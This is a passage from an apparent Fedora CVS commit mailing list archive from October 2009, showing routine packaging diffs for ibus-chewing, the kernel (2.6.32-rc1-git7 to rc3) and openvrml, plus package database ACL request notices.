+Version:    1.2.0.20091002
 Release:    1%{?dist}
 Summary:    The Chewing engine for IBus input platform
 License:    GPLv2+
@@ -14,12 +14,12 @@ BuildRequires:  gtk2-devel
 BuildRequires:  ibus-devel >= 1.1
 BuildRequires:  cmake >= 2.4
 BuildRequires:  gob2
-BuildRequires:  libchewing-devel >= 0.3.2-4
+BuildRequires:  libchewing-devel >= 0.3.2-16
 BuildRequires:  pkgconfig
 BuildRequires:  GConf2-devel
 BuildRequires:  libXtst-devel
 Requires:   ibus >= 1.1
-Requires:  libchewing >= 0.3.2-4
+Requires:  libchewing >= 0.3.2-16
 Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
@@ -77,6 +77,17 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/gconf/schemas/%{name}.schemas
 
 %changelog
+* Mon Oct 05 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20091002-1
+- Bug 518901 - ibus-chewing would not work with locale zh_TW.Big
+- Fix Google issue 501: ibus-chewing buffer doesn't get cleared when
+toggling ibus on/off
+- Fix Google issue 502: ibus-chewing: character selection window stays
+behind when toggling ibus off- Use WM's revised ibus-chewing icon.
+- Debug output now marked with levels.
+
+* Wed Sep 30 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090917-2
+- Rebuild with ibus-1.2.0
+
 * Thu Sep 17 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20090917-1
 - Addressed Upstream (IBUS Google code) issue 484:
   + Find the source that why the / and . are not working.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-10/import.log,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- import.log	17 Sep 2009 05:24:24 -0000	1.9
+++ import.log	4 Oct 2009 23:59:45 -0000	1.10
@@ -7,3 +7,4 @@ ibus-chewing-1_0_10_20090523-1_fc11:F-10
 ibus-chewing-1_0_10_20090523-2_fc11:F-10:ibus-chewing-1.0.10.20090523-2.fc11.src.rpm:1242973527
 ibus-chewing-1_2_0_20090916-1_fc11:F-10:ibus-chewing-1.2.0.20090916-1.fc11.src.rpm:1253072451
 ibus-chewing-1_2_0_20090917-1_fc11:F-10:ibus-chewing-1.2.0.20090917-1.fc11.src.rpm:1253165032
+ibus-chewing-1_2_0_20091002-1_fc11:F-10:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254700713


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-10/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	17 Sep 2009 05:24:24 -0000	1.15
+++ sources	4 Oct 2009 23:59:45 -0000	1.16
@@ -1 +1 @@
-b6c8c843c4d766245c90a8cb60da3444  ibus-chewing-1.2.0.20090917-Source.tar.gz
+fd4f70b4ac6e561201b668d0acbf085b  ibus-chewing-1.2.0.20091002-Source.tar.gz



From dchen at fedoraproject.org  Mon Oct  5 00:00:58 2009
From: dchen at fedoraproject.org (Ding-Yi Chen)
Date: Mon,  5 Oct 2009 00:00:58 +0000 (UTC)
Subject: rpms/ibus-chewing/F-11 .cvsignore, 1.22, 1.23 ibus-chewing.spec,
	1.26, 1.27 import.log, 1.18, 1.19 sources, 1.23, 1.24
Message-ID: <20091005000058.0E1A111C0297@cvs1.fedora.phx.redhat.com>

Author: dchen

Update of /cvs/pkgs/rpms/ibus-chewing/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4878/F-11

Modified Files:
	.cvsignore ibus-chewing.spec import.log sources 
Log Message:
 Bugzilla Bug 518901  IBus Google issue 501, 502  Revised ibus-chewing icon.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-11/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	17 Sep 2009 05:22:12 -0000	1.22
+++ .cvsignore	5 Oct 2009 00:00:57 -0000	1.23
@@ -1 +1 @@
-ibus-chewing-1.2.0.20090917-Source.tar.gz
+ibus-chewing-1.2.0.20091002-Source.tar.gz


Index: ibus-chewing.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-11/ibus-chewing.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- ibus-chewing.spec	30 Sep 2009 00:03:57 -0000	1.26
+++ ibus-chewing.spec	5 Oct 2009 00:00:57 -0000	1.27
@@ -1,6 +1,6 @@
 Name:       ibus-chewing
-Version:    1.2.0.20090917
-Release:    2%{?dist}
+Version:    1.2.0.20091002
+Release:    1%{?dist}
 Summary:    The Chewing engine for IBus input platform
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -14,12 +14,12 @@ BuildRequires:  gtk2-devel
 BuildRequires:  ibus-devel >= 1.1
 BuildRequires:  cmake >= 2.4
 BuildRequires:  gob2
-BuildRequires:  libchewing-devel >= 0.3.2-4
+BuildRequires:  libchewing-devel >= 0.3.2-16
 BuildRequires:  pkgconfig
 BuildRequires:  GConf2-devel
 BuildRequires:  libXtst-devel
 Requires:   ibus >= 1.1
-Requires:  libchewing >= 0.3.2-4
+Requires:  libchewing >= 0.3.2-16
 Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
@@ -77,6 +77,14 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/gconf/schemas/%{name}.schemas
 
 %changelog
+* Mon Oct 05 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20091002-1
+- Bug 518901 - ibus-chewing would not work with locale zh_TW.Big
+- Fix Google issue 501: ibus-chewing buffer doesn't get cleared when
+toggling ibus on/off
+- Fix Google issue 502: ibus-chewing: character selection window stays
+behind when toggling ibus off- Use WM's revised ibus-chewing icon.
+- Debug output now marked with levels.
+
 * Wed Sep 30 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090917-2
 - Rebuild with ibus-1.2.0
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-11/import.log,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- import.log	17 Sep 2009 05:22:12 -0000	1.18
+++ import.log	5 Oct 2009 00:00:57 -0000	1.19
@@ -16,3 +16,4 @@ ibus-chewing-1_2_0_20090818-1_fc11:F-11:
 ibus-chewing-1_2_0_20090831-1_fc11:F-11:ibus-chewing-1.2.0.20090831-1.fc11.src.rpm:1251703942
 ibus-chewing-1_2_0_20090916-1_fc11:F-11:ibus-chewing-1.2.0.20090916-1.fc11.src.rpm:1253072780
 ibus-chewing-1_2_0_20090917-1_fc11:F-11:ibus-chewing-1.2.0.20090917-1.fc11.src.rpm:1253164898
+ibus-chewing-1_2_0_20091002-1_fc11:F-11:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254700771


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-11/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	17 Sep 2009 05:22:12 -0000	1.23
+++ sources	5 Oct 2009 00:00:57 -0000	1.24
@@ -1 +1 @@
-b6c8c843c4d766245c90a8cb60da3444  ibus-chewing-1.2.0.20090917-Source.tar.gz
+fd4f70b4ac6e561201b668d0acbf085b  ibus-chewing-1.2.0.20091002-Source.tar.gz



From dchen at fedoraproject.org  Mon Oct  5 00:05:40 2009
From: dchen at fedoraproject.org (Ding-Yi Chen)
Date: Mon,  5 Oct 2009 00:05:40 +0000 (UTC)
Subject: rpms/ibus-chewing/devel import.log,1.18,1.19
Message-ID: <20091005000540.B916811C00E5@cvs1.fedora.phx.redhat.com>

Author: dchen

Update of /cvs/pkgs/rpms/ibus-chewing/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7452/devel

Modified Files:
	import.log 
Log Message:
Add F-12 cvs


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/devel/import.log,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- import.log	4 Oct 2009 23:58:34 -0000	1.18
+++ import.log	5 Oct 2009 00:05:40 -0000	1.19
@@ -16,3 +16,4 @@ ibus-chewing-1_2_0_20090624-1_fc11:HEAD:
 ibus-chewing-1_2_0_20090916-1_fc11:HEAD:ibus-chewing-1.2.0.20090916-1.fc11.src.rpm:1253071014
 ibus-chewing-1_2_0_20090917-1_fc11:HEAD:ibus-chewing-1.2.0.20090917-1.fc11.src.rpm:1253155437
 ibus-chewing-1_2_0_20091002-1_fc11:HEAD:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254700639
+ibus-chewing-1_2_0_20091002-1_fc11:HEAD:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254701039



From dchen at fedoraproject.org  Mon Oct  5 00:07:31 2009
From: dchen at fedoraproject.org (Ding-Yi Chen)
Date: Mon,  5 Oct 2009 00:07:31 +0000 (UTC)
Subject: rpms/ibus-chewing/F-12 .cvsignore, 1.22, 1.23 ibus-chewing.spec,
	1.26, 1.27 import.log, 1.17, 1.18 sources, 1.23, 1.24
Message-ID: <20091005000731.1882511C00E5@cvs1.fedora.phx.redhat.com>

Author: dchen

Update of /cvs/pkgs/rpms/ibus-chewing/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8428/F-12

Modified Files:
	.cvsignore ibus-chewing.spec import.log sources 
Log Message:
Add F-12 cvs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-12/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	17 Sep 2009 02:44:28 -0000	1.22
+++ .cvsignore	5 Oct 2009 00:07:27 -0000	1.23
@@ -1 +1 @@
-ibus-chewing-1.2.0.20090917-Source.tar.gz
+ibus-chewing-1.2.0.20091002-Source.tar.gz


Index: ibus-chewing.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-12/ibus-chewing.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- ibus-chewing.spec	17 Sep 2009 02:44:28 -0000	1.26
+++ ibus-chewing.spec	5 Oct 2009 00:07:27 -0000	1.27
@@ -1,5 +1,5 @@
 Name:       ibus-chewing
-Version:    1.2.0.20090917
+Version:    1.2.0.20091002
 Release:    1%{?dist}
 Summary:    The Chewing engine for IBus input platform
 License:    GPLv2+
@@ -14,12 +14,12 @@ BuildRequires:  gtk2-devel
 BuildRequires:  ibus-devel >= 1.1
 BuildRequires:  cmake >= 2.4
 BuildRequires:  gob2
-BuildRequires:  libchewing-devel >= 0.3.2-4
+BuildRequires:  libchewing-devel >= 0.3.2-16
 BuildRequires:  pkgconfig
 BuildRequires:  GConf2-devel
 BuildRequires:  libXtst-devel
 Requires:   ibus >= 1.1
-Requires:  libchewing >= 0.3.2-4
+Requires:  libchewing >= 0.3.2-16
 Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
@@ -77,6 +77,17 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/gconf/schemas/%{name}.schemas
 
 %changelog
+* Mon Oct 05 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20091002-1
+- Bug 518901 - ibus-chewing would not work with locale zh_TW.Big
+- Fix Google issue 501: ibus-chewing buffer doesn't get cleared when
+toggling ibus on/off
+- Fix Google issue 502: ibus-chewing: character selection window stays
+behind when toggling ibus off- Use WM's revised ibus-chewing icon.
+- Debug output now marked with levels.
+
+* Wed Sep 30 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090917-2
+- Rebuild with ibus-1.2.0
+
 * Thu Sep 17 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20090917-1
 - Addressed Upstream (IBUS Google code) issue 484:
   + Find the source that why the / and . are not working.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-12/import.log,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- import.log	17 Sep 2009 02:44:28 -0000	1.17
+++ import.log	5 Oct 2009 00:07:27 -0000	1.18
@@ -15,3 +15,4 @@ ibus-chewing-1_0_10_20090523-2_fc11:HEAD
 ibus-chewing-1_2_0_20090624-1_fc11:HEAD:ibus-chewing-1.2.0.20090624-1.fc11.src.rpm:1245803467
 ibus-chewing-1_2_0_20090916-1_fc11:HEAD:ibus-chewing-1.2.0.20090916-1.fc11.src.rpm:1253071014
 ibus-chewing-1_2_0_20090917-1_fc11:HEAD:ibus-chewing-1.2.0.20090917-1.fc11.src.rpm:1253155437
+ibus-chewing-1_2_0_20091002-1_fc11:F-12:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254701155


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	17 Sep 2009 02:44:28 -0000	1.23
+++ sources	5 Oct 2009 00:07:28 -0000	1.24
@@ -1 +1 @@
-b6c8c843c4d766245c90a8cb60da3444  ibus-chewing-1.2.0.20090917-Source.tar.gz
+fd4f70b4ac6e561201b668d0acbf085b  ibus-chewing-1.2.0.20091002-Source.tar.gz



From kyle at fedoraproject.org  Mon Oct  5 01:31:02 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon,  5 Oct 2009 01:31:02 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc1-git7.bz2.sign, NONE,
	1.1 .cvsignore, 
	1.1130, 1.1131 config-generic, 1.328, 1.329 config-x86-generic,
	1.89, 1.90 config-x86_64-generic, 1.91, 1.92 kernel.spec, 1.1813,
	1.1814 sources, 1.1089, 1.1090 upstream, 1.1002, 1.1003
Message-ID: <20091005013102.B99CB11C00E5@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7046

Modified Files:
	.cvsignore config-generic config-x86-generic 
	config-x86_64-generic kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc1-git7.bz2.sign 
Log Message:
* Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com>
- 2.6.32-rc1-git7
- [x86,x86_64] ACPI_PROCESSOR_AGGREGATOR=m



--- NEW FILE patch-2.6.32-rc1-git7.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKyThJyGugalF9Dw4RAksbAJ9kL+AVg4d2Jfe4Oe8AqOaBok0GDgCeKfVB
7Q3OqA2vzb//4SOv2x8nIro=
=eL+8
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1130
retrieving revision 1.1131
diff -u -p -r1.1130 -r1.1131
--- .cvsignore	28 Sep 2009 23:50:51 -0000	1.1130
+++ .cvsignore	5 Oct 2009 01:31:00 -0000	1.1131
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc1.bz2
+patch-2.6.32-rc1-git7.bz2


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-generic,v
retrieving revision 1.328
retrieving revision 1.329
diff -u -p -r1.328 -r1.329
--- config-generic	28 Sep 2009 22:57:21 -0000	1.328
+++ config-generic	5 Oct 2009 01:31:00 -0000	1.329
@@ -1284,6 +1284,7 @@ CONFIG_CASSINI=m
 # CONFIG_FEC_8XX is not set
 CONFIG_ETHOC=m
 # CONFIG_KS8842 is not set
+# CONFIG_KS8851_MLL is not set
 
 #
 # Ethernet (1000 Mbit)


Index: config-x86-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86-generic,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- config-x86-generic	28 Sep 2009 22:57:23 -0000	1.89
+++ config-x86-generic	5 Oct 2009 01:31:00 -0000	1.90
@@ -176,7 +176,7 @@ CONFIG_ACPI_VIDEO=m
 CONFIG_ACPI_PROC_EVENT=y
 CONFIG_PNPACPI=y
 CONFIG_ACPI_POWER_METER=m
-
+CONFIG_ACPI_PROCESSOR_AGGREGATOR=m
 
 #
 # CPUFreq processor drivers


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/config-x86_64-generic,v
retrieving revision 1.91
retrieving revision 1.92
diff -u -p -r1.91 -r1.92
--- config-x86_64-generic	28 Sep 2009 22:57:23 -0000	1.91
+++ config-x86_64-generic	5 Oct 2009 01:31:00 -0000	1.92
@@ -108,6 +108,7 @@ CONFIG_ACPI_VIDEO=m
 # Disable in F9.
 CONFIG_ACPI_PROC_EVENT=y
 CONFIG_ACPI_POWER_METER=m
+CONFIG_ACPI_PROCESSOR_AGGREGATOR=m
 
 CONFIG_X86_PLATFORM_DEVICES=y
 CONFIG_ASUS_LAPTOP=m


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1813
retrieving revision 1.1814
diff -u -p -r1.1813 -r1.1814
--- kernel.spec	28 Sep 2009 23:50:52 -0000	1.1813
+++ kernel.spec	5 Oct 2009 01:31:00 -0000	1.1814
@@ -61,7 +61,7 @@ Summary: The Linux kernel
 # The rc snapshot level
 %define rcrev 1
 # The git snapshot level
-%define gitrev 0
+%define gitrev 7
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1985,6 +1985,10 @@ fi
 # ##############################################################
 
 %changelog
+* Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com>
+- 2.6.32-rc1-git7
+- [x86,x86_64] ACPI_PROCESSOR_AGGREGATOR=m
+
 * Mon Sep 28 2009 Kyle McMartin <kyle at redhat.com>
 - 2.6.32-rc1
 - rebased crash-driver patchset, ia64_ksyms.c conflicts. move x86 crash.h


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1089
retrieving revision 1.1090
diff -u -p -r1.1089 -r1.1090
--- sources	28 Sep 2009 23:57:53 -0000	1.1089
+++ sources	5 Oct 2009 01:31:00 -0000	1.1090
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 b6c7c6545e30099c35c04a91ada8d779  patch-2.6.32-rc1.bz2
+c26c6bae3c1995477429c496789927f8  patch-2.6.32-rc1-git7.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1002
retrieving revision 1.1003
diff -u -p -r1.1002 -r1.1003
--- upstream	28 Sep 2009 23:50:52 -0000	1.1002
+++ upstream	5 Oct 2009 01:31:00 -0000	1.1003
@@ -1,2 +1,3 @@
 linux-2.6.31.tar.bz2
 patch-2.6.32-rc1.bz2
+patch-2.6.32-rc1-git7.bz2



From kyle at fedoraproject.org  Mon Oct  5 01:39:25 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Mon,  5 Oct 2009 01:39:25 +0000 (UTC)
Subject: rpms/kernel/devel patch-2.6.32-rc3.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1131, 1.1132 kernel.spec, 1.1814, 1.1815 sources, 1.1090,
	1.1091 upstream, 1.1003, 1.1004 patch-2.6.32-rc1-git7.bz2.sign,
	1.1, NONE patch-2.6.32-rc1.bz2.sign, 1.1, NONE
Message-ID: <20091005013925.B840511C00E5@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10891

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.32-rc3.bz2.sign 
Removed Files:
	patch-2.6.32-rc1-git7.bz2.sign patch-2.6.32-rc1.bz2.sign 
Log Message:
* Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com> 2.6.32-0.17.rc3.git0
- 2.6.32-rc3 (bah, rebase script didn't catch it.)



--- NEW FILE patch-2.6.32-rc3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKyT1hyGugalF9Dw4RAt4iAKCUzPX8Mu6mZtbbVz5gGg79J2cVbACfWKFs
8qax615N+BpEtJ97gbEwnMw=
=deGu
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/.cvsignore,v
retrieving revision 1.1131
retrieving revision 1.1132
diff -u -p -r1.1131 -r1.1132
--- .cvsignore	5 Oct 2009 01:31:00 -0000	1.1131
+++ .cvsignore	5 Oct 2009 01:39:25 -0000	1.1132
@@ -5,5 +5,4 @@ kernel-2.6.*.config
 temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc1.bz2
-patch-2.6.32-rc1-git7.bz2
+patch-2.6.32-rc3.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/kernel.spec,v
retrieving revision 1.1814
retrieving revision 1.1815
diff -u -p -r1.1814 -r1.1815
--- kernel.spec	5 Oct 2009 01:31:00 -0000	1.1814
+++ kernel.spec	5 Oct 2009 01:39:25 -0000	1.1815
@@ -59,9 +59,9 @@ Summary: The Linux kernel
 # The next upstream release sublevel (base_sublevel+1)
 %define upstream_sublevel %(echo $((%{base_sublevel} + 1)))
 # The rc snapshot level
-%define rcrev 1
+%define rcrev 3
 # The git snapshot level
-%define gitrev 7
+%define gitrev 0
 # Set rpm version accordingly
 %define rpmversion 2.6.%{upstream_sublevel}
 %endif
@@ -1985,6 +1985,9 @@ fi
 # ##############################################################
 
 %changelog
+* Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com> 2.6.32-0.17.rc3.git0
+- 2.6.32-rc3 (bah, rebase script didn't catch it.)
+
 * Sun Oct 04 2009 Kyle McMartin <kyle at redhat.com>
 - 2.6.32-rc1-git7
 - [x86,x86_64] ACPI_PROCESSOR_AGGREGATOR=m


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/sources,v
retrieving revision 1.1090
retrieving revision 1.1091
diff -u -p -r1.1090 -r1.1091
--- sources	5 Oct 2009 01:31:00 -0000	1.1090
+++ sources	5 Oct 2009 01:39:25 -0000	1.1091
@@ -1,3 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-b6c7c6545e30099c35c04a91ada8d779  patch-2.6.32-rc1.bz2
-c26c6bae3c1995477429c496789927f8  patch-2.6.32-rc1-git7.bz2
+767d2d8921ef5730cde0cd40014265eb  patch-2.6.32-rc3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/upstream,v
retrieving revision 1.1003
retrieving revision 1.1004
diff -u -p -r1.1003 -r1.1004
--- upstream	5 Oct 2009 01:31:00 -0000	1.1003
+++ upstream	5 Oct 2009 01:39:25 -0000	1.1004
@@ -1,3 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.32-rc1.bz2
-patch-2.6.32-rc1-git7.bz2
+patch-2.6.32-rc3.bz2


--- patch-2.6.32-rc1-git7.bz2.sign DELETED ---


--- patch-2.6.32-rc1.bz2.sign DELETED ---



From braden at fedoraproject.org  Mon Oct  5 01:46:12 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Mon,  5 Oct 2009 01:46:12 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.72,1.73
Message-ID: <20091005014612.B8CF411C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13134/F-11

Modified Files:
	openvrml.spec 
Log Message:
Actually remove Java and JavaScript backends from the main package.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- openvrml.spec	2 Oct 2009 04:34:56 -0000	1.72
+++ openvrml.spec	5 Oct 2009 01:46:12 -0000	1.73
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        VRML/X3D runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -146,7 +146,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_libdir}/openvrml/node
 %{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
-%{_libdir}/openvrml/script/*.so
 
 %files devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
@@ -207,6 +206,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-5
+- Actually remove Java and JavaScript backends from the main package.
+
 * Fri Oct 2 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-4
 - Separate the Java and JavaScript scripting backends into subpackages.
 



From braden at fedoraproject.org  Mon Oct  5 01:46:12 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Mon,  5 Oct 2009 01:46:12 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.76,1.77
Message-ID: <20091005014612.E9FA911C00E5@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13134/devel

Modified Files:
	openvrml.spec 
Log Message:
Actually remove Java and JavaScript backends from the main package.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- openvrml.spec	2 Oct 2009 04:34:57 -0000	1.76
+++ openvrml.spec	5 Oct 2009 01:46:12 -0000	1.77
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        VRML/X3D runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -146,7 +146,6 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %dir %{_libdir}/openvrml/node
 %{_libdir}/openvrml/node/*.so
 %dir %{_libdir}/openvrml/script
-%{_libdir}/openvrml/script/*.so
 
 %files devel
 %doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
@@ -207,6 +206,9 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_javadocdir}/%{name}-%{version}
 
 %changelog
+* Sun Oct 4 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
+- Actually remove Java and JavaScript backends from the main package.
+
 * Fri Oct 2 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
 - Separate the Java and JavaScript scripting backends into subpackages.
 



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:28 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021428.DD3B110F890@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:35 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
Message-ID: <20091005021435.D393710F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:38 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021438.540CB10F894@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:40 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021440.6E36B10F895@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:56 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021456.6D99310F890@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:14:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:14:59 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
